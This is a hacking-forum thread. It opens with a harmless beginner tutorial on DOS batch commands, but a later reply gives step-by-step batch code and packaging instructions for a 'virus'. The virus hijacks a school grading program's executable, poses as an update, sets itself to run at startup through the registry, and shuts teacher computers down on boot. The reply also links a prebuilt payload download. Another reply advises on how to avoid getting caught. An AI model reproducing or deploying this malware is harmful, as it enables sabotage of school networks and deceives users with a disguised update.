batch for beginners

DON'T post new tutorials here! Please use the "Pending Submissions" board so the staff can review them first.
Post Reply
User avatar
zeus_zf
forum buddy
forum buddy
Posts: 21
Joined: 10 May 2006, 16:00
17
Contact:

batch for beginners

Post by zeus_zf »

Batch FilesA batch file is to DOS what a macro is to Microsoft word. Basically it's a set of preprogrammed commands. So instead of having to open DOS and type in all the commands manualy you can write a batch file to do it for you.
In this tutorial I will be listing most Batch file commands. As a Batch file is just a list of DOS commands this will also be a list of DOS commands :) Two for the price of One. I will include some minor examples of how to use some of the commands.

CD [folder]
-Change Folder. Use 'CD ..' to go up a folder.
ProgamName
Just type the name of a program to run it.
ECHO [OFF/ON]
Stop/Start displaying each command on the screen. eg. 'ECHO OFF'
ECHO Text
Display the following so in this case it would display the word Text.
@command
Stops that line being displayed on the screen.
DEL [filename]
Delete the named file eg. 'DEL telnet.exe' or all files of a certain type
eg. 'Del *.tmp' to delete all .tmp files in the current directory. Can also use full path 'Del C:\Windows\command.exe'
PAUSE
Pauses the program.
IF EXIST file command
Checks to see IF a file exists in the current folder and if it does it carries out the command.
Can also do 'IF NOT EXIST'.
GOTO marker
Makes the code jump to the marker named. A marker must have a : before it such as :HERE so 'GOTO HERE' would take you to :HERE.
COPY file1 file2
Make a copy of file1 called file2.
MORE<file
Display the contents of the file to the screen.
COMMAND>file
Save the output to a file. Just replace file with a file name and and extension. So 'ECHO Test>c:\windows\desktop\test.doc' would make a text file on the desktop called test.doc. If you open test.doc it would show the text 'Test'. You can also do DIR>test.txt to save directory listings.
MD name
Make a Directory called name.
RD name
Delete the Directory called name. Directory must be empty.
DIR
List the contents of the current directory. 'DIR name' will display the contents of the named directory.
CLS
Clears the screen.
START filename
Open the file. Used for .txt, .bat, .doc, .bmp, and all none exe files really.
Remember - anywhere you have to supply a file or folder name, either for creation, reading, or deleting, you can put the full path such as 'DEL C:\windows\desktop\*.txt' would delete all .txt files on the desktop (remember that different versions of windows have different paths).
Parameters
To do parameters in a batch file we use %x (%1, %2, %3 etc). So ECHO %1 %2 %3 would display parameter 1 parameter 2 parameter 3. To better understand make a batch file called abc (just open up notepad and save the file with a .bat extension) with the following code:

@ECHO 1 = %1 2 = %2 3 = %3
Now place the batch file in your C drive and goto Run. Now type in
C:\abc.bat x y z.
Displayed we see
1 = x 2 = y 3 = z
(if it closes to fast put the PAUSE command on a new line after the '@ECHO 1 = %1 2 = %2 3 = %3'). We give our parameters in our call to run the bat file. The parameters are seperated by spaces. Goto Run again but this time put:
C:\abc.bat abc cry oz
Displayed we see:
1 = abc 2 = cry 3 = oz
You should know understand how parameters work.
As you can guess we can only have 9 parameters (1 - 9). But there is a way to use more. We do this using the SHIFT command. What shift does is delete parameter 1, then make parameter 2 parameter 1, parameter 3 becomes parameter 2. to demonstrate we're gonna make the ABC.BAT batch file again with the following commands

@ECHO OFF
ECHO 1 = %1 2 = %2 3 = %3
SHIFT
ECHO 1 = %1 2 = %2 3 = %3
Now goto run and type
C:\abc.bat abc 123 xyz 456
Yes the file only uses 3 parameters but it will ignore any over the required amount. Displayed we see this:
1 = abc 2 = 123 3 = xyz
1 = 123 2 = xyz 3 = 456
Hopefully this should explain how shift works. The first parameter is emptied then all the others are moved up a place.
There are a lot more commands you can use in Batch files and in DOS but this is just meant as a introduction and not a full blown tutorial.
<strong><a href="\\\\\\\http://the-gatesofolympus.tk\\\\\\\" title="\\\\\\\My Site\\\\\\\">THE GATES OF OLYMPUS</a> </strong><hr>
I am putting together a team of hackers and gamers for fun and profit. We are looking for awesome people such as yourself

User avatar
floodhound2
∑lectronic counselor
∑lectronic counselor
Posts: 2117
Joined: 03 Sep 2006, 16:00
17
Location: 127.0.0.1
Contact:

Post by floodhound2 »

Is this related to PHP?
:?
₣£ΘΘĐĦΘŮŇĐ

G-Brain
Fame ! Where are the chicks?!
Fame ! Where are the chicks?!
Posts: 467
Joined: 08 Nov 2007, 17:00
16
Location: NL

Post by G-Brain »

He must be kidding...

User avatar
bad_brain
Site Owner
Site Owner
Posts: 11636
Joined: 06 Apr 2005, 16:00
19
Location: In your eye floaters.
Contact:

Post by bad_brain »

/me replaces "php" with "batch"

:lol:

User avatar
sherlock
Fame ! Where are the chicks?!
Fame ! Where are the chicks?!
Posts: 109
Joined: 12 Jun 2007, 16:00
16
Location: sydney

lol

Post by sherlock »

Batch files are the best screwing around with school computers :)

User avatar
smbx33
Newbie
Newbie
Posts: 1
Joined: 04 Feb 2008, 17:00
16
Contact:

Post by smbx33 »

yep

User avatar
jasonxxx102
Fame ! Where are the chicks?!
Fame ! Where are the chicks?!
Posts: 176
Joined: 04 Feb 2008, 17:00
16
Contact:

Post by jasonxxx102 »

if anybody is interested I have a small batch virus that can be used to shut down the school server from an Ipod. My friend wrote it =) P.S. THis virus does not cause any damage, it is just annoying and can be easily fixed by the network administrator. Its just funny.

User avatar
Big-E
Administrator
Administrator
Posts: 1332
Joined: 16 May 2007, 16:00
16
Location: IN UR ____ , ____ING UR _____ .
Contact:

Post by Big-E »

Meh, it's not really a virus - but you can post the code if you wish. Doing shit like that, pointless shit, is what gets a hacker caught - when you are caught doing that sort of thing you become watched and when you are watched you risk the chance of getting caught doing something worse. Best suggestion? Mitigate against chances of getting caught. Rationalise before a hack - think, is this worth it, or is it stupid and LAME fun? Assessment before execution is crucial!

User avatar
jasonxxx102
Fame ! Where are the chicks?!
Fame ! Where are the chicks?!
Posts: 176
Joined: 04 Feb 2008, 17:00
16
Contact:

Post by jasonxxx102 »

Yea I understand what your sayin and here it is... Do not attempt what I am about to show you. This is a small virus that can be written in notepad and takes almost no effort, but can have devastating effects. I am not responsible for what you do with this information and by reading this you agree that any and all damage caused by use of this program is entirely your fault and is not my responsibility. If you are still reading this, then let's begin. First of all, most schools use a grading program. Teachers type your grade in it and it does all the work for them. This is always stored on a server. In some cases students can easily access this drive. In my school, the grading program is STI, but this method can be used on any program. Since the STI server is attached to all of the computers, it will also be able effect all of them. This is a small virus that uses STI to replicate itself and effect any teacher using STI with the virus. This virus camouflages itself by claiming to be updating STI. It doesn't work immediately however, it only works after the system has been turned off. Which most teachers do at the end of the day. So the effects of the virus will not be evident until the following morning when the computers have been rebooted. Upon startup the infected computer will display a message saying you have been hacked and give the user ten seconds before it shut the system down. So basically, the computer is now useless. This is easily fixed however, but most people don't know how. That is why I will also give you the code to fix the computers.

STEP 1-The main command
This is the main command that will be launched upon startup.
Type this in Notepad.


@echo off
shutdown.exe -s -t 10 -c "You have been hacked!"

Save this as shutdown.bat, making sure you choose all files as the filetype.


STEP 2-Make it run on Startup
This is just a simple registry file that anyone can create, but I don't feel like explaining the registry to everyone. It will disguise itself by claiming to be an update for STI.

STEP 3-Set up the replication system
Here is the code to set up the replicator (the program that allows the virus to reproduce). This simply gets it ready to infect the teachers. ?,$, and ! means that it varies. It depends on what program you are using. To find out how to fill these blank, get on a computer that has access to the server that stores your grading program. ? is the drive letter. $ is any folders and sub folders that contain the main exe for the grading program. ! is the name of the main exe.


Example O:\sti\ssts2\sti.exe
?=O
$=sti\ssts2
!=sti



Here is the code:





@echo off
cd C:\
move ?:\$\!.exe
ren C:?.exe real.exe
ren C:virus.exe !.exe
cd ?:\$
move C:\!.exe
move C:\shutdown.bat
move C:\Update.reg
exit


Save this as global.bat

STEP 4-They grow up so fast -- real fast!
This script will infect any teacher that uses STI with the shutdown command. The little viral babies will copy themselves to the user's hard drive and remain there.





@echo off
cd C:\WINDOWS
Echo STI must update itself, this will only take a few seconds.
pause
Echo Please wait while the files install.
move ?:\$\shutdown.bat
move ?:\$\Update.reg
move ?:\$\cure.exe
move ?:\$\cure.exe
move ?:\$\cure.bat
move ?:\$\remove.bat
Echo Adding information to registry.
pause
start regedit.exe Update.reg
cd ?:\$
start real.exe
exit

Now this one has to be in exe form. So save it as virus.bat, then compile it in Quick Batch File Compiler. You can get QuickBFC here: http://www.mutantsrus.com/quickbfc.exe and download this file as a template for QuickBFC to work with. Just save the compiled file over this one. : http://www.mutantsrus.com/virus.exe

NOW ONTO STEP 5 THE CURE

This is a little tool that can fix all damage done by your virus, it works in the same way that the virus works, but works to correct the problem rather than create it.


@echo off

shutdown -a
cd C:\WINDOWS
del shutdown.bat



Save as cure.bat



@echo off
cd ?:\$
del !.exe
cd C:\
move ?:\$\real.exe
ren C:\real.exe !.exe
cd ?:\$
move C:\?.exe
cd C:\WINDOWS

Now download this file: http://www.mutantsrus.com/cure.exe

STEP 6-The Setup
No it's not the name of a heist movie. It is simply a SFX file that extracts all the files to their proper places and places the replicator in the STI drive.I am going to use WinRAR to do this. You can get WinRAR here: http://www.rarlab.com. First gather all the files you have made thus far. The files should be shutdown.bat, Update.reg, virus.exe, cure.exe, cure.bat, remove.bat and global.bat. Now select them all and put them in a .rar file. Then open Winrar and go to "tools", then select "convert archive to SFX". Click "Advanced SFX Options" In the field labeled Path to Extract, type C:\WINDOWS In the field labeled Run After Extraction, type C:\WINDOWS\global.bat Save the finished file anywhere you want and as any name. To install the virus, just run this program on a computer at school that is connected to the server that has the grading program on it (such as any computer in the Comp Lab.)

STEP 7-Congratulations!
You are all done. Thanks for reading, and remember: "With great power comes great responsibility." So use this program wisely, and by wisely I mean not at all.



I AM NOT RESPONSIBLE ONCE AGAIN

But if you do use it, make sure to leave an anonymous letter telling teachers to press Windows+C then Windows+R to remove the virus.

User avatar
zeus_zf
forum buddy
forum buddy
Posts: 21
Joined: 10 May 2006, 16:00
17
Contact:

Post by zeus_zf »

Checking on my posts. I forgot about the ones I done here. Usually when I come here it is because of threads I find using google, of a query of a topic I am trying to learn, but wow.

I never thought any of my posts would be answered. I know the batch tutorial is a small one, but It is nice to learn, not just for the old though.

Well, for all that posted here, thanks for the support. I have some better tuts ready for this place. I have been doing alot of learning, and well I like to share my knowledge so others may benefit that may be in my position.

Post Reply